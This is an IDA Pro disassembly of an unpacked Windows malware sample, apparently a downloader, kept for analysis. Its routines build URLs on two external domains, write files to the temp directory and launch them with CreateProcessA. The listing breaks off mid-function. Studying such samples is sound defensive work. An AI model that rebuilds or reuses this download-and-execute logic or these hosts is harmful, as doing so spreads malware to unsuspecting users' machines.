;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3A08B6BB67543ED67BB3B21C41E91852

; File Name   :	u:\work\3a08b6bb67543ed67bb3b21c41e91852_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: start-F85Bp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40137A
		mov	eax, ds:dword_4108C4
		mov	ebx, [eax]
		mov	esi, offset dword_4108C0
		mov	[esp+28h+var_10], esi


loc_401021:				; CODE XREF: sub_401000+DCj
		test	esi, esi
		mov	edi, ds:dword_4108C4
		jz	short loc_401033
		cmp	esi, offset dword_4108C0
		jz	short loc_401038


loc_401033:				; CODE XREF: sub_401000+29j
		call	sub_4021B5


loc_401038:				; CODE XREF: sub_401000+31j
		cmp	ebx, edi
		jz	loc_4010E1
		test	esi, esi
		jnz	short loc_401049
		call	sub_4021B5


loc_401049:				; CODE XREF: sub_401000+42j
		cmp	ebx, [esi+4]
		jnz	short loc_401053
		call	sub_4021B5


loc_401053:				; CODE XREF: sub_401000+4Cj
		lea	edi, [ebx+8]
		mov	eax, [edi+4]
		mov	eax, [eax]
		mov	esi, edi
		mov	[esp+28h+var_14], eax
		mov	[esp+28h+var_18], esi


loc_401065:				; CODE XREF: sub_401000+C6j
		mov	eax, [esp+28h+var_10]
		cmp	ebx, [eax+4]
		jnz	short loc_401073
		call	sub_4021B5


loc_401073:				; CODE XREF: sub_401000+6Cj
		test	esi, esi
		mov	eax, [edi+4]
		mov	[esp+28h+var_4], eax
		jz	short loc_401082
		cmp	esi, edi
		jz	short loc_401087


loc_401082:				; CODE XREF: sub_401000+7Cj
		call	sub_4021B5


loc_401087:				; CODE XREF: sub_401000+80j
		mov	eax, [esp+28h+var_4]
		cmp	[esp+28h+var_14], eax
		jz	short loc_4010C8
		test	esi, esi
		jnz	short loc_40109A
		call	sub_4021B5


loc_40109A:				; CODE XREF: sub_401000+93j
		mov	eax, [esp+28h+var_14]
		cmp	eax, [esi+4]
		jnz	short loc_4010A8
		call	sub_4021B5


loc_4010A8:				; CODE XREF: sub_401000+A1j
		mov	eax, [esp+28h+var_14]
		push	dword ptr [eax+8]
		call	sub_4010EC
		test	al, al
		pop	ecx
		jnz	short loc_4010C8
		lea	esi, [esp+28h+var_18]
		call	sub_401247
		mov	esi, [esp+28h+var_18]
		jmp	short loc_401065
; ---------------------------------------------------------------------------


loc_4010C8:				; CODE XREF: sub_401000+8Fj
					; sub_401000+B7j
		mov	eax, [esp+28h+var_10]
		cmp	ebx, [eax+4]
		jnz	short loc_4010D6
		call	sub_4021B5


loc_4010D6:				; CODE XREF: sub_401000+CFj
		mov	ebx, [ebx]
		mov	esi, [esp+28h+var_10]
		jmp	loc_401021
; ---------------------------------------------------------------------------


loc_4010E1:				; CODE XREF: sub_401000+3Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010EC	proc near		; CODE XREF: sub_401000+AFp
		push	280h
		mov	eax, offset loc_40B05D
		call	sub_4045C7
		mov	eax, [ebp+8]
		mov	edi, 104h
		xor	ebx, ebx
		push	edi
		mov	[ebp-22Ch], eax
		lea	eax, [ebp-11Bh]
		push	ebx
		push	eax
		mov	[ebp-11Ch], bl
		call	sub_4021D0
		add	esp, 0Ch
		lea	eax, [ebp-11Ch]
		push	eax
		lea	esi, [edi+1]
		push	esi
		call	dword_40C00C	; GetTempPathA
		cmp	eax, esi
		ja	short loc_40113B
		cmp	eax, ebx
		jnz	short loc_40114E


loc_40113B:				; CODE XREF: sub_4010EC+49j
		lea	eax, [ebp-11Ch]
		push	offset byte_40DA4F
		push	eax
		call	sub_402260
		pop	ecx
		pop	ecx


loc_40114E:				; CODE XREF: sub_4010EC+4Dj
		push	edi
		lea	eax, [ebp-223h]
		push	ebx
		push	eax
		mov	[ebp-224h], bl
		call	sub_4021D0
		add	esp, 0Ch
		lea	eax, [ebp-224h]
		push	eax
		push	ebx
		push	offset dword_40DA50
		lea	eax, [ebp-11Ch]
		push	eax
		call	dword_40C004	; GetTempFileNameA
		inc	ds:dword_4108BC
		mov	[ebp-225h], bl
		mov	[ebp-230h], ebx
		mov	ecx, [ebp-22Ch]
		lea	edx, [ebp-224h]
		mov	[ebp-4], ebx
		call	sub_401C1F
		test	al, al
		jz	short loc_40121D
		lea	eax, [ebp-224h]
		push	eax
		call	sub_401E85
		test	al, al
		pop	ecx
		jz	short loc_40121D
		push	44h
		pop	esi
		push	esi
		lea	eax, [ebp-28Ch]
		push	ebx
		push	eax
		call	sub_4021D0
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		mov	[ebp-28Ch], esi
		call	sub_4021D0
		add	esp, 0Ch
		lea	eax, [ebp-240h]
		push	eax
		lea	eax, [ebp-28Ch]
		push	eax
		lea	eax, [ebp-11Ch]
		push	eax
		push	ebx
		push	8000000h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-224h]
		push	eax
		push	ebx
		call	dword_40C008	; CreateProcessA
		test	eax, eax
		jz	short loc_40121D
		mov	byte ptr [ebp-225h], 1


loc_40121D:				; CODE XREF: sub_4010EC+BBj
					; sub_4010EC+CCj ...
		dec	ds:dword_4108BC
		jnz	short loc_40123B
		mov	eax, ds:dword_4108B8
		cmp	eax, ebx
		jz	short loc_40123B
		push	eax
		call	dword_40C120	; InternetCloseHandle
		mov	ds:dword_4108B8, ebx


loc_40123B:				; CODE XREF: sub_4010EC+137j
					; sub_4010EC+140j
		mov	al, [ebp-225h]
		call	sub_404611
		retn
sub_4010EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401247	proc near		; CODE XREF: sub_401000+BDp
					; sub_401ADC+5Bp ...
		cmp	dword ptr [esi], 0
		jnz	short loc_401251
		call	sub_4021B5


loc_401251:				; CODE XREF: sub_401247+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_401260
		call	sub_4021B5


loc_401260:				; CODE XREF: sub_401247+12j
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[esi+4], eax
		mov	eax, esi
		retn
sub_401247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40126B	proc near		; CODE XREF: sub_40146B+79p
					; sub_4014FD+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4024EE
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_40126B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401287	proc near		; CODE XREF: sub_401691+50p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40272B
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_401287	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012A3	proc near		; DATA XREF: UPX1:0040E304o
		mov	dword ptr [ecx], offset	off_40C174
		jmp	sub_4024AF
sub_4012A3	endp

; ---------------------------------------------------------------------------


loc_4012AE:				; DATA XREF: UPX0:off_40C174o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_40C174
		call	sub_4024AF
		test	byte ptr [esp+8], 1
		jz	short loc_4012CA
		push	esi
		call	sub_4023DB
		pop	ecx


loc_4012CA:				; CODE XREF: UPX0:004012C1j
		mov	eax, esi
		pop	esi
		retn	4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4012D1	proc near		; CODE XREF: sub_401548+42p
					; sub_401606+43p ...
		push	4
		mov	eax, offset loc_40B0A8
		call	sub_40455E
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_4023E0
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_40C180
		call	sub_40143B
		mov	eax, esi
		call	sub_4045FD
		retn	4
sub_4012D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401306	proc near		; CODE XREF: UPX0:00401334p
					; UPX0:00401353j ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_40C180
		call	sub_4014FD
		mov	ecx, esi
		pop	esi
		jmp	sub_4024AF
sub_401306	endp


; =============== S U B	R O U T	I N E =======================================



sub_401323	proc near		; DATA XREF: UPX0:0040C184o
					; UPX0:0040C190o ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_40132D
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------


loc_40132D:				; CODE XREF: sub_401323+4j
		lea	eax, [ecx+10h]
		retn
sub_401323	endp

; ---------------------------------------------------------------------------


loc_401331:				; DATA XREF: UPX0:off_40C180o
		push	esi
		mov	esi, ecx
		call	sub_401306
		test	byte ptr [esp+8], 1
		jz	short loc_401347
		push	esi
		call	sub_4023DB
		pop	ecx


loc_401347:				; CODE XREF: UPX0:0040133Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: UPX1:0040E2CCo
		mov	dword ptr [ecx], offset	off_40C18C
		jmp	sub_401306
; ---------------------------------------------------------------------------


loc_401358:				; DATA XREF: UPX0:off_40C18Co
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_40C18C
		call	sub_401306
		test	byte ptr [esp+8], 1
		jz	short loc_401374
		push	esi
		call	sub_4023DB
		pop	ecx


loc_401374:				; CODE XREF: UPX0:0040136Bj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40137A	proc near		; CODE XREF: sub_401000+Cp
		push	14h
		mov	eax, offset sub_40B144
		call	sub_40455E
		call	sub_4015B8
		and	dword ptr [ebp-14h], 0
		mov	[ebp-18h], eax
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-10h]
		mov	ebx, offset aHttpThemirabel ; "http://themirabellaguide.com/pr/pic/lyn"...
		push	eax
		lea	edi, [ebp-1Ch]
		mov	[ebp-10h], ebx
		call	sub_401548
		mov	eax, [ebp-18h]
		push	eax
		mov	ecx, edi
		push	ecx
		lea	eax, [ebp-10h]
		mov	esi, offset aHttpYourmirabe ; "http://yourmirabelladirect.com/pr/pic/l"...
		push	eax
		mov	[ebp-10h], esi
		call	sub_401548
		mov	eax, [ebp-18h]
		push	eax
		mov	ecx, edi
		push	ecx
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-10h], ebx
		call	sub_401548
		mov	eax, [ebp-18h]
		push	eax
		mov	ecx, edi
		push	ecx
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-10h], esi
		call	sub_401548
		mov	eax, [ebp-18h]
		push	eax
		mov	ecx, edi
		push	ecx
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-10h], ebx
		call	sub_401548
		mov	eax, [ebp-18h]
		push	eax
		mov	ecx, edi
		push	ecx
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-10h], esi
		call	sub_401548
		mov	eax, ds:dword_4108C4
		push	eax
		mov	ecx, offset dword_4108C0
		push	ecx
		mov	eax, edi
		push	eax
		call	sub_401606
		mov	esi, edi
		call	sub_4015D0
		call	sub_4045FD
		retn
sub_40137A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_401436:				; CODE XREF: UPX0:0040B13Fj
		jmp	sub_4015D0

; =============== S U B	R O U T	I N E =======================================



sub_40143B	proc near		; CODE XREF: sub_4012D1+26p
					; sub_401826+2Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401700
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_40146B
		mov	eax, esi
		pop	esi
		retn	4
sub_40143B	endp

; ---------------------------------------------------------------------------


loc_401461:				; CODE XREF: UPX0:0040B017j
					; UPX0:0040B11Cj
		push	0
		push	1
		call	sub_4014FD
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40146B	proc near		; CODE XREF: sub_40143B+1Bp
					; sub_401981+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_401483
		call	sub_402034


loc_401483:				; CODE XREF: sub_40146B+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_401493
		mov	esi, [ebp+arg_8]


loc_401493:				; CODE XREF: sub_40146B+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_4014B1
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_401691
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_401691
		jmp	short loc_4014F4
; ---------------------------------------------------------------------------


loc_4014B1:				; CODE XREF: sub_40146B+2Cj
		push	0
		push	esi
		call	sub_40171C
		test	al, al
		jz	short loc_4014F4
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_4014C8
		mov	edi, [edi+4]
		jmp	short loc_4014CB
; ---------------------------------------------------------------------------


loc_4014C8:				; CODE XREF: sub_40146B+56j
		add	edi, 4


loc_4014CB:				; CODE XREF: sub_40146B+5Bj
		mov	ecx, [ebx+18h]
		cmp	ecx, 10h
		jb	short loc_4014D8
		mov	eax, [ebx+4]
		jmp	short loc_4014DB
; ---------------------------------------------------------------------------


loc_4014D8:				; CODE XREF: sub_40146B+66j
		lea	eax, [ebx+4]


loc_4014DB:				; CODE XREF: sub_40146B+6Bj
		mov	edx, [ebp+arg_4]
		push	esi
		add	edi, edx
		push	edi
		push	ecx
		push	eax
		call	sub_40126B
		add	esp, 10h
		push	esi
		mov	ecx, ebx
		call	sub_401700


loc_4014F4:				; CODE XREF: sub_40146B+44j
					; sub_40146B+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40146B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4014FD	proc near		; CODE XREF: sub_401306+10p
					; UPX0:00401465p ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_401532
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_401532
		cmp	[esp+4+arg_4], 0
		lea	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		jbe	short loc_40152A
		push	[esp+8+arg_4]
		push	edi
		push	10h
		push	eax
		call	sub_40126B
		add	esp, 10h


loc_40152A:				; CODE XREF: sub_4014FD+1Bj
		push	edi
		call	sub_4023DB
		pop	ecx
		pop	edi


loc_401532:				; CODE XREF: sub_4014FD+8j
					; sub_4014FD+Ej
		push	[esp+4+arg_4]
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401700
		pop	esi
		retn	8
sub_4014FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401548	proc near		; CODE XREF: sub_40137A+32p
					; sub_40137A+4Ap ...
		push	48h
		mov	eax, offset loc_40B121
		call	sub_40455E
		push	dword ptr [ebp+8]
		mov	esi, [ebp+10h]
		push	dword ptr [esi+4]
		push	esi
		call	sub_40177A
		mov	ecx, [edi+8]
		mov	edx, 3FFFFFFFh
		sub	edx, ecx
		cmp	edx, 1
		jnb	short loc_4015A4
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_401860
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_4012D1
		push	offset dword_40E2C8
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_40C18C
		call	sub_40414D


loc_4015A4:				; CODE XREF: sub_401548+28j
		inc	ecx
		mov	[edi+8], ecx
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_4045FD
		retn	0Ch
sub_401548	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4015B8	proc near		; CODE XREF: sub_40137A+Cp
					; sub_401A89+11p
		push	0Ch
		call	sub_402371
		test	eax, eax
		pop	ecx
		jz	short loc_4015C6
		mov	[eax], eax


loc_4015C6:				; CODE XREF: sub_4015B8+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_4015CF
		mov	[ecx], eax

locret_4015CF:				; CODE XREF: sub_4015B8+13j
		retn
sub_4015B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015D0	proc near		; CODE XREF: sub_40137A+B1p
					; UPX0:loc_401436j ...
		mov	eax, [esi+4]
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, [esi+4]
		mov	[eax+4], eax
		and	dword ptr [esi+8], 0
		cmp	ecx, [esi+4]
		jz	short loc_4015F8
		push	edi


loc_4015E7:				; CODE XREF: sub_4015D0+25j
		mov	edi, [ecx]
		push	ecx
		call	sub_4023DB
		cmp	edi, [esi+4]
		pop	ecx
		mov	ecx, edi
		jnz	short loc_4015E7
		pop	edi


loc_4015F8:				; CODE XREF: sub_4015D0+14j
		push	dword ptr [esi+4]
		call	sub_4023DB
		and	dword ptr [esi+4], 0
		pop	ecx
		retn
sub_4015D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401606	proc near		; CODE XREF: sub_40137A+AAp
		push	48h
		mov	eax, offset loc_40B121
		call	sub_40455E
		push	dword ptr [ebp+8]
		mov	esi, [ebp+10h]
		push	dword ptr [esi+4]
		push	esi
		call	sub_4017AB
		mov	ecx, 15555555h
		sub	ecx, ds:dword_4108C8
		cmp	ecx, 1
		jnb	short loc_401663
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_401860
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_4012D1
		push	offset dword_40E2C8
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_40C18C
		call	sub_40414D


loc_401663:				; CODE XREF: sub_401606+29j
		inc	ds:dword_4108C8
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_4045FD
		retn	0Ch
sub_401606	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401679	proc near		; CODE XREF: sub_40B15Fp
		push	14h
		call	sub_402371
		test	eax, eax
		pop	ecx
		jz	short loc_401687
		mov	[eax], eax


loc_401687:				; CODE XREF: sub_401679+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_401690
		mov	[ecx], eax

locret_401690:				; CODE XREF: sub_401679+13j
		retn
sub_401679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401691	proc near		; CODE XREF: sub_40146B+33p
					; sub_40146B+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_4016A5
		call	sub_402034


loc_4016A5:				; CODE XREF: sub_401691+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4016B2
		mov	[ebp+arg_4], eax


loc_4016B2:				; CODE XREF: sub_401691+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_4016F8
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		push	ebx
		lea	edx, [esi+4]
		jb	short loc_4016C8
		mov	ebx, [edx]
		jmp	short loc_4016CA
; ---------------------------------------------------------------------------


loc_4016C8:				; CODE XREF: sub_401691+31j
		mov	ebx, edx


loc_4016CA:				; CODE XREF: sub_401691+35j
		cmp	ecx, 10h
		jb	short loc_4016D1
		mov	edx, [edx]


loc_4016D1:				; CODE XREF: sub_401691+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_401287
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_401700
		pop	ebx


loc_4016F8:				; CODE XREF: sub_401691+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_401691	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401700	proc near		; CODE XREF: sub_40143B+Cp
					; sub_40146B+84p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_401712
		mov	ecx, [ecx+4]
		jmp	short loc_401715
; ---------------------------------------------------------------------------


loc_401712:				; CODE XREF: sub_401700+Bj
		add	ecx, 4


loc_401715:				; CODE XREF: sub_401700+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_401700	endp


; =============== S U B	R O U T	I N E =======================================



sub_40171C	proc near		; CODE XREF: sub_40146B+49p
					; sub_401981+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	edi, 0FFFFFFFEh
		mov	esi, ecx
		jbe	short loc_40172E
		call	sub_401FF5


loc_40172E:				; CODE XREF: sub_40171C+Bj
		cmp	[esi+18h], edi
		jnb	short loc_401740
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_401882
		jmp	short loc_40176D
; ---------------------------------------------------------------------------


loc_401740:				; CODE XREF: sub_40171C+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_401761
		cmp	edi, 10h
		jnb	short loc_401761
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_401755
		mov	eax, edi


loc_401755:				; CODE XREF: sub_40171C+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_4014FD
		jmp	short loc_40176D
; ---------------------------------------------------------------------------


loc_401761:				; CODE XREF: sub_40171C+29j
					; sub_40171C+2Ej
		test	edi, edi
		jnz	short loc_40176D
		push	edi
		mov	ecx, esi
		call	sub_401700


loc_40176D:				; CODE XREF: sub_40171C+22j
					; sub_40171C+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40177A	proc near		; CODE XREF: sub_401548+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0Ch
		call	sub_402371
		test	eax, eax
		pop	ecx
		jz	short loc_40178C
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx


loc_40178C:				; CODE XREF: sub_40177A+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_401799
		mov	edx, [esp+arg_4]
		mov	[ecx], edx


loc_401799:				; CODE XREF: sub_40177A+17j
		lea	ecx, [eax+8]
		test	ecx, ecx
		jz	short locret_4017A8
		mov	edx, [esp+arg_8]
		mov	edx, [edx]
		mov	[ecx], edx

locret_4017A8:				; CODE XREF: sub_40177A+24j
		retn	0Ch
sub_40177A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017AB	proc near		; CODE XREF: sub_401606+16p
		push	8
		mov	eax, offset loc_40B0FE
		call	sub_404591
		push	14h
		call	sub_402371
		and	dword ptr [ebp-4], 0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		mov	[ebp-14h], esi
		jz	short loc_4017D1
		mov	eax, [ebp+8]
		mov	[esi], eax


loc_4017D1:				; CODE XREF: sub_4017AB+1Fj
		lea	eax, [esi+4]
		test	eax, eax
		jz	short loc_4017DD
		mov	ecx, [ebp+0Ch]
		mov	[eax], ecx


loc_4017DD:				; CODE XREF: sub_4017AB+2Bj
		lea	eax, [esi+8]
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_4017F1
		mov	ecx, [ebp+10h]
		push	eax
		call	sub_401A89


loc_4017F1:				; CODE XREF: sub_4017AB+3Bj
		mov	eax, esi
		call	sub_4045FD
		retn	0Ch
sub_4017AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4017FB	proc near		; DATA XREF: UPX1:0040E4C8o

arg_0		= dword	ptr  4

		push	dword ptr [ebp-14h]
		call	sub_4023DB
		pop	ecx
		push	0
		push	0
		call	sub_40414D
		int	3		; Trap to Debugger
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_401826
		mov	dword ptr [esi], offset	off_40C18C
		mov	eax, esi
		pop	esi
		retn	4
sub_4017FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401826	proc near		; CODE XREF: sub_4017FB+1Ap
					; sub_402034+46p
		push	4
		mov	eax, offset loc_40B0A8
		call	sub_40455E
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	edi, [ebp+8]
		push	edi
		call	sub_402457
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_40C180
		call	sub_40143B
		mov	eax, esi
		call	sub_4045FD
		retn	4
sub_401826	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401860	proc near		; CODE XREF: sub_401548+32p
					; sub_401606+33p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401700
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_401964
		mov	eax, esi
		pop	esi
		retn	4
sub_401860	endp


; =============== S U B	R O U T	I N E =======================================



sub_401882	proc near		; CODE XREF: sub_40171C+1Dp
		push	0Ch
		mov	eax, offset loc_40B085
		call	sub_404591
		mov	edi, ecx
		mov	[ebp-18h], edi
		mov	esi, [ebp+8]
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		jbe	short loc_4018A3
		mov	esi, [ebp+8]
		jmp	short loc_4018C8
; ---------------------------------------------------------------------------


loc_4018A3:				; CODE XREF: sub_401882+1Aj
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_4018C8
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_4018C8
		lea	esi, [edx+ecx]


loc_4018C8:				; CODE XREF: sub_401882+1Fj
					; sub_401882+38j ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_401A27
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_401907
; ---------------------------------------------------------------------------


loc_4018DD:				; DATA XREF: UPX1:0040E378o
		mov	eax, [ebp+8]
		mov	[ebp-10h], esp
		mov	[ebp+8], eax
		inc	eax
		push	0
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_401A27
		pop	ecx
		mov	[ebp-14h], eax
		pop	ecx
		mov	eax, offset loc_4018FE
		retn
; ---------------------------------------------------------------------------


loc_4018FE:				; DATA XREF: sub_401882+76o
		mov	edi, [ebp-18h]
		mov	esi, [ebp+8]
		mov	ebx, [ebp-14h]


loc_401907:				; CODE XREF: sub_401882+59j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40192C
